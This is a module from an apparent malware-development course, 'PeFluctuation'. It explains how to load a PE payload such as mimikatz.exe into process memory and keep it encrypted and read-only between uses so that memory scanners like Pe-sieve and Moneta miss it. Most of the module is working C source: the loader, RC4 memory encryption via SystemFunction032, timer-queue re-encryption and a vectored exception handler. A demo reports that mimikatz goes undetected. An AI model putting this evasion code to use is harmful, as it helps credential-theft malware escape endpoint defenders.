PeFluctuation
In the previous module, Local PE Injection, the PE payload was executed without implementing memory evasion strategies after running the entry point. This exposed our PE payload...
Jump to Section (13)
- Introduction
- Memory Scanners Concept
- PeFluctuation Concept
- Prerequisite: Understanding CreateTimerQueueTimer's Role
- CreateTimerQueueTimer Sample Usage
- PeFluctuation Implementation
- Reusing LocalPeExec Functions
- Updating The FixMemPermissions Function
- Updating The InjectLocalPE Function
- Delaying Execution Of ObfuscationTimerCallback
- Memory Encryption and Decryption Via Rc4EncryptDecrypt
- The VectoredExceptionHandler Function
- Demo
- Companion Source Code
Introduction
In the previous module, Local PE Injection, the PE payload was executed without implementing memory evasion strategies after running the entry point. This exposed our PE payload in memory, making it vulnerable to detection by memory scanning tools like Pesieve and Moneta. The images below demonstrate the runtime detection of mimikatz.exe by both of these memory scanning tools.


With that being said, this module will introduce a new technique named "PeFluctuation", which is designed to hide a PE file in memory as a means of evading detection by memory scanners.
Note: This module relies heavily on the Local PE Injection module and therefore it's strongly recommended to complete it before advancing to this module.
Memory Scanners Concept
To effectively evade memory scanners, it's important to understand how they operate. Memory scanners typically focus on analyzing the memory permissions of various memory regions within a process. For instance, a memory region that is both readable and executable RX is often deemed more suspicious than one that is readable and writable RW . This distinction is evident in the output produced by Moneta, where it identified the RX memory as a potentially suspicious memory region.
Furthermore, memory scanners perform signature checks to identify patterns associated with known shellcodes. The following image shows various byte patterns of Msfvenom outputs.

Unfortunately, since memory scanners perform signature checks at runtime, having the payload encrypted or obfuscated cannot bypass such checks since the payload must be in plaintext during execution.
PeFluctuation Concept
When working with executables such as mimikatz.exe, their code typically remains dormant in memory until specific user input is provided to trigger their execution. PeFluctuation takes advantage of this behavior by encrypting the executable code in memory when it's not actively in use. This means that during the idle state when mimikatz.exe is waiting for user input, its code in memory remains encrypted and hidden from memory scanners.
mimikatz.exe's code will only be decrypted when a command is passed, creating a very brief window of opportunity for memory scanners to detect it in memory. The concept behind PeFluctuation draws inspiration from ShellcodeFluctuation, a technique used in modern C2 frameworks like the CobaltStrike Sleep Kit.
The following image shows how PeFluctuation works.

Prerequisite: Understanding CreateTimerQueueTimer's Role
Before diving into PeFluctuation's implementation, readers should familiarize themselves with the CreateTimerQueueTimer WinAPI function for its major role in the implant. According to Microsoft's documentation, the CreateTimerQueueTimer WinAPI generates a timer-queue timer that, upon expiration, triggers the execution of a callback function. CreateTimerQueueTimer is defined as follows:
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer, // A Pointer to a HANDLE variable that will receive a handle to the timer-queue timer when 'Cre
ateTimerQueueTimer' returns.
[in, optional] HANDLE TimerQueue, // 'CreateTimerQueue()' function's return.
[in] WAITORTIMERCALLBACK Callback, // The callback function to execute.
[in, optional] PVOID Parameter, // Parameter to the callback function.
[in] DWORD DueTime, // The amount of time relative to the current time that must elapse before executing the callba
ck function for the first time.
[in] DWORD Period, // Set to 0x00.
[in] ULONG Flags // Set to 0x00 (default).
);CreateTimerQueueTimer Sample Usage
After the CreateTimerQueueTimer is invoked, the code snippet below will trigger the execution of the HelloWorld timer callback function five seconds later, instead of executing it directly as a normal callback function.
VOID HelloWorld() {
printf("[*] Hack The Planet! \n");
}
int main() {
HANDLE hNewTimer = NULL;
if (!CreateTimerQueueTimer(&hNewTimer, CreateTimerQueue(), (WAITORTIMERCALLBACK)HelloWorld, NULL, 5000, 0x00, 0x00)) {
return GetLastError();
}
// More code
}PeFluctuation Implementation
The steps below explain the stages required to implement PeFluctuation.
1. Before executing the entry point of the PE payload, we set up a Vectored Exception Handler VEH using the AddVectoredExceptionHandler WinAPI. The VEH function
- is named
VectoredExceptionHandler.
2.A function named Rc4EncryptDecrypt is scheduled to run as a timer callback using the CreateTimerQueueTimer WinAPI. This function will be executed once the timer
- passed to
CreateTimerQueueTimerexpires.
3. The Rc4EncryptDecrypt function is responsible for encrypting and decrypting the PE payload's memory. Afterward, it adjusts the memory permissions of the payload
- to read-only RO in the case of encryption, and read-execute RX in the case of decryption. This ensures that the payload appears benign when encrypted but can execute code when decrypted.
4.The entry point of the payload is then executed.
5.Depending on the timer duration, which determines when the Rc4EncryptDecrypt function is called and the PE payload's memory is encrypted, an
EXCEPTION_ACCESS_VIOLATIONexception may be triggered when interacting with the PE payload before theRc4EncryptDecryptfunction call. This occurs because the memory is marked as read-only and prevents code execution.
6. Any raised EXCEPTION_ACCESS_VIOLATION exceptions are managed by our VEH, VectoredExceptionHandler. This function calls Rc4EncryptDecrypt to decrypt the
- payload's memory, making it executable again, and then schedules
Rc4EncryptDecryptthroughCreateTimerQueueTimerto encrypt the memory and mark it as a read- only region.
7. The time between executing CreateTimerQueueTimer and Rc4EncryptDecrypt serves as the payload's window to execute its code before it gets encrypted. 8.The implant will continuously repeat steps 5, 6, and 7 until the process terminates.
Reusing LocalPeExec Functions
Our implementation in this module will make use of functions introduced in the LocalPeExec.exe implant, which was introduced in the Local PE Injection module. We'll be reusing the functions ReadFileFromDisk, InitializePeStruct, FixImportAddressTable, and FixReloc.
Updating The FixMemPermissions Function
However, the FixMemPermissions function will differ from the one used in LocalPeExec.exe. This difference is required because this implementation requires accessing the executable memory region of the payload (i.e. PAGE_EXECUTE_READ) for later use in PeFluctuation. Therefore, the updated version of the FixMemPermissions function will include an additional code snippet designed to find the PAGE_EXECUTE_READ memory region.
Keep in mind that the PAGE_EXECUTE_READ memory region of a PE file is often the .text section of the file. Therefore, the updated FixMemPermissions function assigns the .text section's base address and size to the g_uPeRXAddress and g_sPeRXSize global variables, respectively.
ULONG_PTR g_uPeRXAddress = NULL; // Represents the base address of the RX memory region of the PE payload
SIZE_T g_sPeRXSize = NULL; // Represents the size of the RX memory region of the PE payload
BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {
// Loop through each section of the PE image.
for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
// Variables to store the new and old memory protections.
DWORD dwProtection = 0x00,
dwOldProtection = 0x00;
// Skip the section if it has no data or no associated virtual address.
if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
continue;
// Determine memory protection based on section characteristics.
// These characteristics dictate whether the section is readable, writable, executable, etc.
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
dwProtection = PAGE_WRITECOPY;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
dwProtection = PAGE_READONLY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_READWRITE;
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
dwProtection = PAGE_EXECUTE;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
dwProtection = PAGE_EXECUTE_WRITECOPY;
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) {
// Save RX base address
if (!g_uPeRXAddress)
g_uPeRXAddress = pPeBaseAddress + pImgSecHdr[i].VirtualAddress;
// Save the RX memory size
if (!g_sPeRXSize)
g_sPeRXSize = pImgSecHdr[i].SizeOfRawData;
dwProtection = PAGE_EXECUTE_READ;
}
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
dwProtection = PAGE_EXECUTE_READWRITE;
// Apply the determined memory protection to the section.
if (!VirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
PRINT_WINAPI_ERR("VirtualProtect");
return FALSE;
}
}
return TRUE;
}Updating The InjectLocalPE Function
Furthermore, the InjectLocalPE function has been updated to include a callback function called ObfuscationTimerCallback to be called via CreateTimerQueueTimer before executing the PE payload's entry point. Additionally, InjectLocalPE now registers a VEH function named VectoredExceptionHandler.
Both ObfuscationTimerCallback and VectoredExceptionHandler will be explained in more detail later in the module, but for now, the updated InjectLocalPE function is shown below.
#define EXEC_WAIT 1 // 1 Second
BOOL InjectLocalPE(IN PPE_HDRS pPeHdrs) {
PBYTE pPeBaseAddress = NULL;
PVOID pEntryPoint = NULL;
PVOID pVeHandler = NULL;
// Allocating memory for the PE
if ((pPeBaseAddress = VirtualAlloc(NULL, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
PRINT_WINAPI_ERR("VirtualAlloc");
return FALSE;
}
// Copying the PE's section
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),
pPeHdrs->pImgSecHdr[i].SizeOfRawData
);
}
// Fixing the IAT
if (!FixImportAddressTable(pPeHdrs->pEntryImportDataDir, pPeBaseAddress))
return FALSE;
// Applying relocations
if (!FixReloc(pPeHdrs->pEntryBaseRelocDataDir, pPeBaseAddress, pPeHdrs->pImgNtHdrs->OptionalHeader.ImageBase))
return FALSE;
// Setting up suitable memory permissions - 'FixMemPermissions' will fetch the 'g_uPeRXAddress' and 'g_sPeRXSize' global variables
if (!FixMemPermissions(pPeBaseAddress, pPeHdrs->pImgNtHdrs, pPeHdrs->pImgSecHdr))
return FALSE;
printf("[i] Performing PE Fluctuation on: 0x%p [ %ld ]\n", g_uPeRXAddress, g_sPeRXSize);
if (!g_uPeRXAddress || !g_sPeRXSize)
return FALSE;
// Set exception handlers of the injected PE (if exists)
if (pPeHdrs->pEntryExceptionDataDir->Size) {
// Retrieve the function table entry
PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + pPeHdrs->pEntryExceptionDataDir->Virt
ualAddress);
// Register the function table
if (!RtlAddFunctionTable(pImgRuntimeFuncEntry, (pPeHdrs->pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)), pPeBaseAddre
ss)) {
PRINT_WINAPI_ERR("RtlAddFunctionTable");
}
}
// Register a VEH before executing anything
if (!(pVeHandler = AddVectoredExceptionHandler(0x01, VectoredExceptionHandler))) {
PRINT_WINAPI_ERR("AddVectoredExceptionHandler");
return FALSE;
}
// Execute TLS callbacks (if exists)
if (pPeHdrs->pEntryTLSDataDir->Size) {
// Retrieve the address of the TLS Directory.
PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + pPeHdrs->pEntryTLSDataDir->VirtualAddress);
// Get the address of the TLS Callbacks from the TLS Directory.
PIMAGE_TLS_CALLBACK* pImgTlsCallback = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);
// Iterate through and invoke each TLS Callback until a NULL callback is encountered.
for (int i = 0; pImgTlsCallback[i] != NULL; i++){
pImgTlsCallback[i]((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
}
}
// Calculate PE
pEntryPoint = (PVOID)(pPeBaseAddress + pPeHdrs->pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
// Creates a queue for timers
if (!(g_hTimerQueue = CreateTimerQueue())) {
PRINT_WINAPI_ERR("CreateTimerQueue");
return FALSE;
}
// Execute the "ObfuscationTimerCallback" function after "EXEC_WAIT" seconds.
if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 0x00, 0x00)){
PRINT_WINAPI_ERR("CreateTimerQueueTimer");
return FALSE;
}
// Will not execute DLL files
if (pPeHdrs->pImgNtHdrs->FileHeader.Characteristics & IMAGE_FILE_DLL)
return FALSE;
else
(*(VOID(*)()) pEntryPoint)(); return TRUE;
}Delaying Execution Of ObfuscationTimerCallback
As mentioned earlier, before executing the PE payload's entry point, a callback function named ObfuscationTimerCallback will be executed using the CreateTimerQueueTimer WinAPI. The ObfuscationTimerCallback function is set to run after a delay of EXEC_WAIT seconds from the moment CreateTimerQueueTimer is called, rather than executing immediately upon invocation.
Below, you can find the ObfuscationTimerCallback function, which, in turn, calls another function named Rc4EncryptDecrypt and passes it the g_uPeRXAddress and g_sPeRXSize global variables.
VOID CALLBACK ObfuscationTimerCallback(IN PVOID lpParameter, IN BOOLEAN TimerOrWaitFired) {
Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, FALSE);
}Memory Encryption and Decryption Via Rc4EncryptDecrypt
The Rc4EncryptDecrypt function uses SystemFunction032 to carry out RC4 encryption/decryption on the buffer starting at pBuffer with a size of dwBufferLen. Rc4EncryptDecrypt takes an extra parameter called bDecrypt, which determines whether the function should be used for encryption or decryption. While the RC4 algorithm treats both encryption and decryption processes similarly, Rc4EncryptDecrypt must decide on the memory permissions to set after encrypting or decrypting the specified memory region:
- If
bDecryptis set toFALSE,Rc4EncryptDecryptis called for memory encryption atpBuffer. Therefore, it must adjust the memory's permission toPAGE_READONLYafterward to evade detection by memory scanners. - If
bDecryptis set toTRUE,Rc4EncryptDecryptis invoked for memory decryption atpBuffer. In this case, it must configure the memory's permission asPAGE_EXECUTE_READafterward, allowing execution.
For simplicity, Rc4EncryptDecrypt uses a fixed 16-byte key. Furthermore, it calls the VirtualProtect WinAPI twice: once to enable RC4 encryption/decryption processes and again based on the bDecrypt parameter's value.
#define RC4_KEY_SIZE 0x10 // 16 bytes
BOOL Rc4EncryptDecrypt(IN PBYTE pBuffer, IN DWORD dwBufferLen, IN BOOL bDecrypt) {
NTSTATUS STATUS = NULL;
BYTE Rc4Key[RC4_KEY_SIZE] = { 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF, 0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77,
0x01 };
USTRING uStrBuffer = { .Buffer = pBuffer, .Length = dwBufferLen, .MaximumLength = dwBufferLen };
USTRING uStrKey = { .Buffer = Rc4Key, .Length = RC4_KEY_SIZE, .MaximumLength = RC4_KEY_SIZE };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibrary(TEXT("Advapi32")), "SystemFunction032");
DWORD dwOldProtection = 0x00;
if (!pBuffer || !dwBufferLen)
return FALSE;
// Change memory permissions to RW to be able to encrypt/decrypt
if (!VirtualProtect(pBuffer, dwBufferLen, PAGE_READWRITE, &dwOldProtection)) {
PRINT_WINAPI_ERR("VirtualProtect [1]");
return FALSE;
}
// Encrypt/Decrypt
if ((STATUS = SystemFunction032(&uStrBuffer, &uStrKey)) != 0x0) {
printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
return FALSE;
}
// Set memory permissions to RO/RX
if (!VirtualProtect(pBuffer, dwBufferLen, (bDecrypt == TRUE ? PAGE_EXECUTE_READ : PAGE_READONLY), &dwOldProtection)) {
PRINT_WINAPI_ERR("VirtualProtect [2]");
return FALSE;
}
return TRUE;
}When ObfuscationTimerCallback is executed it will encrypt the PE payload's executable memory, then mark it as a read-only memory region, evading both signature and memory permission checks.
The VectoredExceptionHandler Function
During runtime, when there is no interaction with the PE payload, there will be no occurrence of an EXCEPTION_ACCESS_VIOLATION exception. Therefore, the payload will remain encrypted and located within a read-only memory region. However, after the execution of ObfuscationTimerCallback, an EXCEPTION_ACCESS_VIOLATION exception is triggered when interacting with the payload in memory. This is because the implant will attempt to execute non-executable code, resulting in the VectoredExceptionHandler function being executed. Our registered VEH function will handle the raised exception by following the steps below:
1. Determine the source of the raised exception. If it originates within the range from g_uPeRXAddress to g_uPeRXAddress + g_sPeRXSize, it is within the boundaries of
- our PE payload's memory and should be handled. Otherwise, the VEH function will return
EXCEPTION_CONTINUE_SEARCH.
2.Invoke Rc4EncryptDecrypt with a TRUE value for the bDecrypt parameter. This action will decrypt the PE payload's memory and thus mark it as both readable and
- executable.
3. Call ObfuscationTimerCallback again via CreateTimerQueueTimer. This step re-conceals the PE payload after a period defined by the EXEC_WAIT constant. EXEC_WAIT
- is a value set by the implant, representing the time elapsed between calling
CreateTimerQueueTimerand its callback function.
Below, you can find the implementation of VectoredExceptionHandler.
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo){
printf("[!] Exception Raised [!]: \n");
printf("\t> Code: 0x%0.8X \n", pExceptionInfo->ExceptionRecord->ExceptionCode);
printf("\t> Address: 0x%p \n", pExceptionInfo->ExceptionRecord->ExceptionAddress);
printf("\t> State: ");
// Check the exception code
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// Check the exception address. If the exception address is coming from inside of the RX (.text) memory of the PE, it's handled
if (pExceptionInfo->ExceptionRecord->ExceptionAddress >= g_uPeRXAddress && pExceptionInfo->ExceptionRecord->ExceptionAddress <= (g_uPeRXAdd
ress + g_sPeRXSize)) {
DWORD dwOldProtection = 0x00;
printf("[*] HANDLED [*] \n");
if (!g_hTimerQueue || !g_hTimer)
goto _FAILURE;
// Decrypt the data at g_uPeRXAddress, then mark as RX
if (!Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, TRUE))
goto _FAILURE;
// Execute the "ObfuscationTimerCallback" function after "EXEC_WAIT" seconds.
// "ObfuscationTimerCallback" will call "Rc4EncryptDecrypt" which will encrypt the RX memory of the PE and set it to RO
if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 0x00, 0x0
0)) {
PRINT_WINAPI_ERR("CreateTimerQueueTimer");
goto _FAILURE;
}
// Continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
}
printf("[-] UNHANDLED [-] \n");
_FAILURE:
return EXCEPTION_CONTINUE_SEARCH;
}Demo
The demo below shows the mimkatz.exe PE file being executed locally in the PeFluctuation.exe process.
After EXEC_WAIT seconds of executing the entry point, mimikatz's .text section is encrypted and marked as a read-only memory region.

Interacting with Mimikatz by pressing the enter key will raise an exception, which is handled by decrypting Mimikatz's .text section and marking it as an executable memory region. Note that Process Hacker is still showing that the memory region is read-only because it didn't re-scan the process.

After EXEC_WAIT seconds from interacting with Mimikatz, it's re-encrypted.

Pesieve's output detects nothing after running multiple scans with maximum intensity.

Moneta identifies one IoC related to the absence of a digital signature for PeFluctuation.exe, but there are no findings related to Mimikatz. Note Mimikatz's output, where pressing the Enter key does not always trigger an exception. This behavior occurs because the key press event occurred within the EXEC_WAIT seconds following the previous exception, which is the time before the next encryption routine.

Companion Project & Source Code
7 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
#define TIMES 3
VOID HelloWorld() {
printf("[*] Hack The Planet! \n");
}
int main() {
HANDLE hNewTimer = NULL;
for (int i = 0; i < TIMES; i++){
printf("[i] Calling CreateTimerQueueTimer [%d] \n", i);
if (!CreateTimerQueueTimer(&hNewTimer, CreateTimerQueue(), (WAITORTIMERCALLBACK)HelloWorld, NULL, (i + 1) * 1000, 0x00, 0x00)) {
return GetLastError();
}
}
printf("\n[i] Executing \"HelloWorld\": \n");
Sleep((TIMES + 1) * 1000);
}Full Archive Manifest (9 files inside .zip)
- PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.c
- PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj
- PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.filters
- PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.user
- PeFluctuation/PeFluctuation.sln
- PeFluctuation/PeFluctuation/PeFluctuation.vcxproj
- PeFluctuation/PeFluctuation/PeFluctuation.vcxproj.filters
- PeFluctuation/PeFluctuation/PeFluctuation.vcxproj.user
- PeFluctuation/PeFluctuation/main.c